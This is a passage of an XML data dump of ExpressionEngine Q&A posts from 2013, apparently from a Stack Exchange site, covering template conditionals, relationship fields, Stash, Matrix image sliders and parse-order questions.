{error:billing_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the &lt;code&gt;required&lt;/code&gt; triggers the JQuery validator and the &lt;code&gt;class=&quot;fullname&quot;&lt;/code&gt; fires the custom method and validation for only that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't use the &lt;a href=&quot;http://devot-ee.com/add-ons/store-firstname-lastname&quot; rel=&quot;nofollow&quot;&gt;Store: Firstname/Lastname&lt;/a&gt; add-on as it requires custom1 and custom2 fields which I was already using, so would involve a lot of effort to update or a hack to the add-on.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-11-06T20:55:36.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15491" PostTypeId="1" CreationDate="2013-11-06T21:06:59.213" Score="10" ViewCount="4684" Body="&lt;p&gt;I’ve run into an issue where I need to conditionally show content if an EE relationship field is empty. However the {if relationship-field} conditional is not working. Nor is any variation of that such as {if relationship-field == &quot;&quot;} or {if &quot;{relationship-field}&quot; == &quot;&quot;} or {if &quot;{relationship-field}&quot; != &quot;&quot;}. No dice on any of these.&lt;/p&gt;&#xA;" OwnerUserId="467" LastActivityDate="2017-02-20T02:32:26.340" Title="Conditional for empty relationships field" Tags="|conditionals|relationships|related-entries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15492" PostTypeId="2" ParentId="15491" CreationDate="2013-11-06T21:06:59.213" Score="17" Body="&lt;p&gt;The solution turns out to be fairly simple and the logic can pretty much work the same. EE relationship fields let you pull the count separately from the tag pair like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{relationship-field:count}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the solution is to use that in our conditional logic:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{relationship-field:count}&quot; == &quot;&quot;}&#xA;    do stuff&#xA;{if:else}&#xA;    do relationship stuff&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="467" LastActivityDate="2013-11-06T21:06:59.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15493" PostTypeId="2" ParentId="15487" CreationDate="2013-11-06T21:12:47.107" Score="2" Body="&lt;p&gt;For basic copy, you can accomplish this using native &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/snippets.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Snippets&lt;/strong&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Snippets are small bits of reusable template or tag parts. You could&#xA;  create a Snippet for any number of purposes, anywhere that you need to&#xA;  reuse a small portion of a template, including partial or complete&#xA;  tags, other variables, etc. Snippets add flexibility and reusability,&#xA;  while making it simple to make site-wide changes by editing the&#xA;  Snippet’s source instead of having to modify many templates.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-06T21:12:47.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15494" PostTypeId="2" ParentId="15478" CreationDate="2013-11-06T21:17:13.540" Score="3" Body="&lt;p&gt;Your &quot;Update Cart&quot; button is named &lt;code&gt;empty_cart&lt;/code&gt;. By calling it that you are telling Store it should empty the cart when you click it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try changing this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input class=&quot;small button expand&quot; type=&quot;submit&quot; name=&quot;empty_cart&quot; value=&quot;Update Cart&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input class=&quot;small button expand&quot; type=&quot;submit&quot; value=&quot;Update Cart&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-06T21:17:13.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15495" PostTypeId="2" ParentId="14510" CreationDate="2013-11-06T21:20:34.303" Score="1" Body="&lt;p&gt;This has been fixed in Store 2.0.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using an earlier version and can't upgrade right now, the problem is caused because Store was ignoring the &lt;code&gt;remove_items&lt;/code&gt; array if no &lt;code&gt;items&lt;/code&gt; array was submitted at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To work around this, you should simply be able to add this line inside the &lt;code&gt;{items}&lt;/code&gt; loop in your checkout tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;items[{key}][item_qty]&quot; value=&quot;{item_qty}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That means an &lt;code&gt;items&lt;/code&gt; parameter will be submitted, and Store will know to check for &lt;code&gt;remove_items&lt;/code&gt; as well.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-06T21:20:34.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15496" PostTypeId="1" CreationDate="2013-11-06T21:45:37.850" Score="1" ViewCount="67" Body="&lt;p&gt;I have a &quot;videos&quot; channel that has a one-to-one relationship with a &quot;person&quot; and a one-to-many relationship with other videos in the same channel. I am trying to display the information about the person and the related videos with a template like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Videos&amp;gt;&#xA;    {exp:channel:entries channel=&quot;videos&quot;}&#xA;    &amp;lt;Video&amp;gt;&#xA;        &amp;lt;Subject&amp;gt;{person:title}&amp;lt;/Subject&amp;gt;&#xA;        &amp;lt;Affiliation&amp;gt;{person:affiliation}&amp;lt;/Affiliation&amp;gt;&#xA;        &amp;lt;RelatedVideos&amp;gt;&#xA;            {related}&#xA;            &amp;lt;VideoId&amp;gt;{related:person:title}&amp;lt;/VideoId&amp;gt;&#xA;            {/related}&#xA;        &amp;lt;/RelatedVideos&amp;gt;&#xA;    &amp;lt;/Video&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/Videos&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Videos&amp;gt;&#xA;    &amp;lt;Video&amp;gt;&#xA;        &amp;lt;Subject/&amp;gt;&#xA;        &amp;lt;Affiliation/&amp;gt;&#xA;        &amp;lt;RelatedVideos&amp;gt;&#xA;            &amp;lt;VideoId&amp;gt;title 1&amp;lt;/VideoId&amp;gt;&#xA;            &amp;lt;VideoId&amp;gt;title 1&amp;lt;/VideoId&amp;gt;&#xA;            &amp;lt;VideoId&amp;gt;title 1&amp;lt;/VideoId&amp;gt;&#xA;        &amp;lt;/RelatedVideos&amp;gt;&#xA;    &amp;lt;/Video&amp;gt;&#xA;&amp;lt;/Videos&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the empty &lt;code&gt;&amp;lt;Subject/&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;Affiliation/&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if I change the template to exclude the related video person:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Videos&amp;gt;&#xA;    {exp:channel:entries channel=&quot;videos&quot;}&#xA;    &amp;lt;Video&amp;gt;&#xA;        &amp;lt;Subject&amp;gt;{person:title}&amp;lt;/Subject&amp;gt;&#xA;        &amp;lt;Affiliation&amp;gt;{person:affiliation}&amp;lt;/Affiliation&amp;gt;&#xA;        &amp;lt;RelatedVideos&amp;gt;&#xA;            {related}&#xA;            {!-- &amp;lt;VideoId&amp;gt;{related:person:title}&amp;lt;/VideoId&amp;gt; --}&#xA;            {/related}&#xA;        &amp;lt;/RelatedVideos&amp;gt;&#xA;    &amp;lt;/Video&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/Videos&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Videos&amp;gt;&#xA;    &amp;lt;Video&amp;gt;&#xA;        &amp;lt;Subject&amp;gt;title 1&amp;lt;/Subject&amp;gt;&#xA;        &amp;lt;Affiliation&amp;gt;affiliation 1&amp;lt;/Affiliation&amp;gt;&#xA;        &amp;lt;RelatedVideos&amp;gt;&amp;lt;/RelatedVideos&amp;gt;&#xA;    &amp;lt;/Video&amp;gt;&#xA;&amp;lt;/Videos&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems I can get either the person related to my entry, or the person related to the other entries related to this entry. How can I get both?&lt;/p&gt;&#xA;" OwnerUserId="2310" LastActivityDate="2013-11-07T03:54:28.797" Title="Namespacing for a relationship loop breaks scope?" Tags="|channel-entries|templates|relationships|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15497" PostTypeId="1" AcceptedAnswerId="15499" CreationDate="2013-11-06T21:46:40.607" Score="2" ViewCount="64" Body="&lt;p&gt;Pretty new to ExpressionEngine, so please excuse my lack of knowledge. I have a site where I want to use a slider on pages with more than one article image. The way I have it set up now works fine for these pages, but if there is a page with only 1 image, the image doesn't display because it's being hidden behind and off to the side of the content as if it were a slider image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to make it so that if there is more than 1 image on the page, it will place the image code inside the &quot;news_slider&quot; div, but if there is only 1 image, it will just place that single image link without a div container. Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if article_images}&#xA;   &amp;lt;div id='news_slider'&amp;gt;&#xA;      {article_images}&#xA;         &amp;lt;img title=&quot;{img_title}&quot; src=&quot;{img}&quot; /&amp;gt;&#xA;      {/article_images}&#xA;   &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2257" LastEditorUserId="22" LastEditDate="2013-11-07T02:16:57.863" LastActivityDate="2013-11-07T02:16:57.863" Title="Place article_images inside a div only if there's more than 1?" Tags="|matrix|conditionals|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15498" PostTypeId="2" ParentId="15497" CreationDate="2013-11-06T22:05:21.583" Score="1" Body="&lt;p&gt;With Matrix you can try next code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if article_images}&#xA;   {if {article_images_total_rows} &amp;gt; 1}&amp;lt;div id='news_slider'&amp;gt;{/if}&#xA;      {article_images}&#xA;         &amp;lt;img title=&quot;{img_title}&quot; src=&quot;{img}&quot; /&amp;gt;&#xA;      {/article_images}&#xA;    {if {article_images_total_rows} &amp;gt; 1}&amp;lt;/div&amp;gt;{/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-06T22:05:21.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15499" PostTypeId="2" ParentId="15497" CreationDate="2013-11-06T22:06:21.507" Score="4" Body="&lt;p&gt;Perhaps there is a more elegant way, but this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{article_images}&#xA;    {if total_rows &amp;gt; &quot;1&quot; &amp;amp;&amp;amp; row_count == &quot;1&quot;}&#xA;        &amp;lt;div id='news_slider'&amp;gt;&#xA;    {/if}&#xA;         &amp;lt;img title=&quot;{img_title}&quot; src=&quot;{img}&quot; /&amp;gt;&#xA;    {if total_rows &amp;gt; &quot;1&quot; &amp;amp;&amp;amp; row_count == total_rows}&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;{/article_images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-11-06T22:12:14.397" LastActivityDate="2013-11-06T22:12:14.397" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15500" PostTypeId="2" ParentId="15455" CreationDate="2013-11-06T22:07:19.307" Score="1" Body="&lt;p&gt;The formatting buttons aren't part of Matrix. They are part of the ExpressionEngine native RTE. Please see the docs for how to adjust settings for the RTE field &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/rte/control_panel/index.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-06T22:07:19.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15501" PostTypeId="1" CreationDate="2013-11-06T22:13:19.447" Score="1" ViewCount="445" Body="&lt;p&gt;I've come across this problems enough times now that I'm curious if anyone has sort of a best practice for it that might be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel form page that needs to know if the user has already started the application, and there for allow them to edit it, or if if they haven't create a new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple enough problem it would seem but one I'm constantly tripped up on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Stash I've come up with something that &quot;kindof&quot; works but not really&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically at the top of the page i look for an existing application by that author, something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;app_id&quot; parse_tags=&quot;yes&quot; type = &quot;snippet&quot;}&#xA;{exp:channel:entries channel=&quot;applications&quot; author_id=&quot;{logged_in_member_id}&quot; limit=&quot;1&quot; status=&quot;not Closed&quot;}&#xA;   {entry_id}&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will get the entry id of an application if there is one, and return nothing if there isnt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then for the application itself do something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:stash:not_empty name=&quot;app_id&quot;}}&#xA; {exp:channel:form channel=&quot;applications&quot; entry_id=&quot;{app_id}&quot; return=&quot;step2&quot; }&#xA;...&#xA;  {/exp:channel:form}&#xA;{if:else}&#xA;   {exp:channel:form channel=&quot;applications&quot; return=&quot;step2&quot; }&#xA;    ...&#xA;   {/exp:channel:form}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently there are two issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;i can get the app_id to render in the page but parse order seems to be an issue as the  channel form tag is parsing first and gets an &quot;invalid entry&quot; error, even if its a simple conditional, its always returning false?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if {exp:stash:not_empty name=&quot;app_id&quot;}}{/if}&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This method means i have to maintain two copies of the form and just feels messy?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there an easier way to do this? &lt;/p&gt;&#xA;" OwnerUserId="727" LastEditorUserId="69" LastEditDate="2013-11-07T02:03:31.570" LastActivityDate="2014-03-12T09:22:25.637" Title="Add/Edit Channel Form" Tags="|stash|channel-form|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15502" PostTypeId="2" ParentId="5669" CreationDate="2013-11-06T22:48:38.990" Score="2" Body="&lt;p&gt;If you are manually editing the options of the custom field, why not replace &lt;code&gt;&amp;lt;p&amp;gt;Description One.&amp;lt;/p&amp;gt;&lt;/code&gt; etc with low variables? (Separate text fields, not a matrix field)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if custom_field ==&quot;Option One&quot;}{lv_description_one}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-11-06T22:48:38.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15503" PostTypeId="1" CreationDate="2013-11-06T23:11:42.463" Score="0" ViewCount="85" Body="&lt;p&gt;I've been banging my head against the wall with this and I have not found an answer.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am attempting to build an EE application where admin can come in and create a quiz app.  I then need to allow the admin to add the app to their Facebook Page (using FB Graph API calls).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm facing is when to introduce that Facebook functionality. From what I could see looks like I need to create a custom module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Module -- Publish Tab&lt;/strong&gt;&#xA;But what I see looks like only stuff that goes in publish_tabs function are fields.  Does that mean I must create a custom field then?  I would need to allow the user to authenticate the FB App, then give it permissions to manage FB Pages, then &lt;em&gt;finally&lt;/em&gt; a way to add the entry/quiz to their FB Page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the tab able to do such functionality? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="701" LastActivityDate="2013-11-07T03:42:03.080" Title="Module: Facebook functionality on publish Tab?" Tags="|custom-fields|module|facebook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15504" PostTypeId="1" AcceptedAnswerId="15515" CreationDate="2013-11-07T00:08:14.283" Score="1" ViewCount="91" Body="&lt;p&gt;I'm using a Solspace Tag - Related Entries to show tagged entries. On the page, I show the first 3 channel entries and then wish to show a link to view more entries, but only if there are more than 3 entries to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm struggling to get a conditional working to show/hide the link based on the count of items in the results, while using Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my template;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;itinerary_events&quot;}&#xA;    {exp:tag:related_entries&#xA;        channel=&quot;event&quot;&#xA;        orderby=&quot;event_date&quot;&#xA;        sort=&quot;asc&quot;&#xA;        limit=&quot;3&quot;&#xA;        paginate=&quot;bottom&quot;&#xA;    }&#xA;    {title}&#xA;    {/exp:tag:related_entries}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:set name=&quot;itinerary_events_more&quot;}&#xA;    {exp:tag:related_entries&#xA;        channel=&quot;event&quot;&#xA;        orderby=&quot;event_date&quot;&#xA;        sort=&quot;asc&quot;&#xA;        limit=&quot;15&quot;&#xA;        paginate=&quot;bottom&quot;&#xA;        offset=&quot;3&quot;&#xA;    }&#xA;    {stash:count}{count}{/stash:count}&#xA;    {title}&#xA;    {/exp:tag:related_entries}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:set_list name=&quot;itinerary-vars&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;{channel}&quot;&#xA;        status=&quot;open&quot;&#xA;        limit=&quot;1&quot;&#xA;    }&#xA;        {stash:tag}{exp:tag:tags entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot; websafe_separator=&quot;-&quot;}{tag}{/exp:tag:tags}{/stash:tag}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:set name=&quot;content&quot;}&#xA;&#xA;    {exp:stash:get_list name=&quot;itinerary-vars&quot;}&#xA;&#xA;&amp;lt;div class=&quot;box&quot;&amp;gt;&#xA;    {if &quot;{exp:stash:get name='count'}&quot; &amp;gt; &quot;3&quot;}&amp;lt;a href=&quot;#&quot;&amp;gt;View all&amp;lt;/a&amp;gt;{/if}&#xA;&#xA;    {exp:stash:get name=&quot;itinerary_things&quot;}&#xA;&#xA;    {exp:stash:get name=&quot;itinerary_things_more&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;    {/exp:stash:get_list}&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would be grateful if anyone might be able to help. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-11-07T02:44:54.060" Title="Using Stash conditional to interrogate Solspace Tag Related Entries count" Tags="|stash|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15505" PostTypeId="2" ParentId="15488" CreationDate="2013-11-07T00:34:10.703" Score="0" Body="&lt;p&gt;You cannot natively turn off profiling and debugging info in specific templates. &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-10-10T01:40:02.167" LastActivityDate="2014-10-10T01:40:02.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15506" PostTypeId="2" ParentId="15437" CreationDate="2013-11-07T00:45:16.017" Score="1" Body="&lt;p&gt;In a number of cases involving getting event data within a specific timeframe, the recommended tag to use is &lt;code&gt;{exp:calendar:cal}&lt;/code&gt;. This is the only tag that displays multi-event occurrence listings in full chronological order. More information on the use of the main Calendar tags can be found here: &lt;a href=&quot;http://www.solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/getting_started/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would then use conditionals to compare {event_start_date}, which will be the start date of the currently looped occurrence with EE's native {current_time}, which displays the current time. You might also want to check if {current_time} is in between {event_start_date} and {event_end_date} to display events that are currently in progress.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-11-07T00:45:16.017" CommentCount="0" CommunityOwnedDate="2013-11-07T00:45:16.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="15507" PostTypeId="1" CreationDate="2013-11-07T00:57:32.150" Score="1" ViewCount="140" Body="&lt;p&gt;EE 2.7.2&#xA;LV 2.4.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have low variables variable containing a grid with two text inputs and a radio button. In the text input for a link, if I add a link containing http:// and save I get taken to a 403 error. If I save the link without http:// everything saves just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to fix this? Is it a bug? if so with Grid or with Low Variables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case it's relevant have included a screenshot of my grid settings.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HH17u.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-11-07T01:48:56.757" Title="Low Variables &amp; Grid with text input containing http:// gives 403 error on save" Tags="|error|low-variables|grid|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15508" PostTypeId="2" ParentId="15507" CreationDate="2013-11-07T01:11:48.190" Score="2" Body="&lt;p&gt;I would check to see if you have mod_security installed on your server. That seeing the &lt;code&gt;http://&lt;/code&gt; in your form post (saving LV) may be triggering the save to be blocked.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-07T01:11:48.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15509" PostTypeId="1" AcceptedAnswerId="15511" CreationDate="2013-11-07T01:48:41.723" Score="2" ViewCount="1111" Body="&lt;p&gt;Say I have a global variable &lt;code&gt;foo&lt;/code&gt;. To output it in the templates, all I have to do is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{foo}&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I can't seem to use it in an if-condition. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if foo == 'bar'}&amp;lt;h1&amp;gt;Hello, world&amp;lt;/h1&amp;gt;{/if}&#xA;{if {foo} == 'bar'}&amp;lt;h1&amp;gt;Hello, world&amp;lt;/h1&amp;gt;{/if}&#xA;{if '{foo}' == 'bar'}&amp;lt;h1&amp;gt;Hello, world&amp;lt;/h1&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I use a global variable in an if-condition?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-11-07T02:05:21.267" Title="How to use global variables in if-condition?" Tags="|templates|template-scripting|global-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15510" PostTypeId="2" ParentId="15507" CreationDate="2013-11-07T01:48:56.757" Score="1" Body="&lt;p&gt;Also, try with a blank htaccess file. Could be an error in your .htaccess rules.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-07T01:48:56.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15511" PostTypeId="2" ParentId="15509" CreationDate="2013-11-07T01:54:17.093" Score="3" Body="&lt;p&gt;The issue is one of parsing order...  User Defined global variables are the last thing to be parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This PDF outlines &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;ExpressionEngine’s Parse Order&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This page in the docs details the &lt;strong&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;Rendering Stages of the EE template engine&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to switch to using a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/snippets.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Snippet&lt;/strong&gt;&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-07T02:05:21.267" LastActivityDate="2013-11-07T02:05:21.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15512" PostTypeId="2" ParentId="15509" CreationDate="2013-11-07T01:55:07.317" Score="2" Body="&lt;p&gt;You're running into a parse order issue here. The conditionals are parsed before the global variables, and therefore your comparison is taking place with the actual value you have within the conditional instead of the parsed value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple things you can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Use a snippet instead of a global variable, as these parse much earlier&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Use an add-on like Low Variables, which enables you to set global variables to be early-parsed.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-07T01:55:07.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15513" PostTypeId="1" AcceptedAnswerId="15564" CreationDate="2013-11-07T01:58:55.173" Score="1" ViewCount="45" Body="&lt;p&gt;I can find no way of displaying any of the Primary Category tags within the new EE2.6 Relationships field loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine with Playa fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if there is a way to display Primary Category tags within EE2.6 Relationship Child loops?&lt;/p&gt;&#xA;" OwnerUserId="2329" LastActivityDate="2013-11-08T01:03:34.023" Title="Primary Category display in EE2.6 Relationships loop" Tags="|relationships|categories|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15514" PostTypeId="1" CreationDate="2013-11-07T02:24:41.200" Score="3" ViewCount="108" Body="&lt;p&gt;Has anyone come across an addon or method to duplicate a sub-tree in the Structure addon? Have a client where we're using Structure to assemble training courses (Course &gt; Topic &gt; Content/Quiz) and we want to be able to 'duplicate' a Course and tweak it for different audiences where required.&lt;/p&gt;&#xA;" OwnerUserId="347" LastEditorUserId="28" LastEditDate="2013-11-07T03:34:34.540" LastActivityDate="2013-11-07T03:34:34.540" Title="Duplicate (Copy/Paste) sub-tree in Structure" Tags="|structure|duplicate|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15515" PostTypeId="2" ParentId="15504" CreationDate="2013-11-07T02:36:13.727" Score="2" Body="&lt;p&gt;Since your question is about the View All link setup, I removed the &lt;code&gt;itinerary-vars&lt;/code&gt; set_list. There's no need to run your &lt;code&gt;exp:tag:related_entries&lt;/code&gt; tag twice when you're using Stash. Let Stash do the work to cut down on db queries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;itinerary_events&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:tag:related_entries&#xA;        channel=&quot;event&quot;&#xA;        orderby=&quot;event_date&quot;&#xA;        sort=&quot;asc&quot;&#xA;        limit=&quot;4&quot;&#xA;    }&#xA;        {stash:event_title}{title}{/stash:event_title}&#xA;        {stash:event_count}{count}{/stash:event_count}&#xA;    {/exp:tag:related_entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:set name=&quot;content&quot;}&#xA;    &amp;lt;div class=&quot;box&quot;&amp;gt;&#xA;        {exp:stash:get_list name=&quot;itinerary_events&quot;}&#xA;            {if &quot;{event_count}&quot; == 4}&amp;lt;a href=&quot;#&quot;&amp;gt;View all&amp;lt;/a&amp;gt;{/if}&#xA;            {if &quot;{event_count}&quot; &amp;lt;= 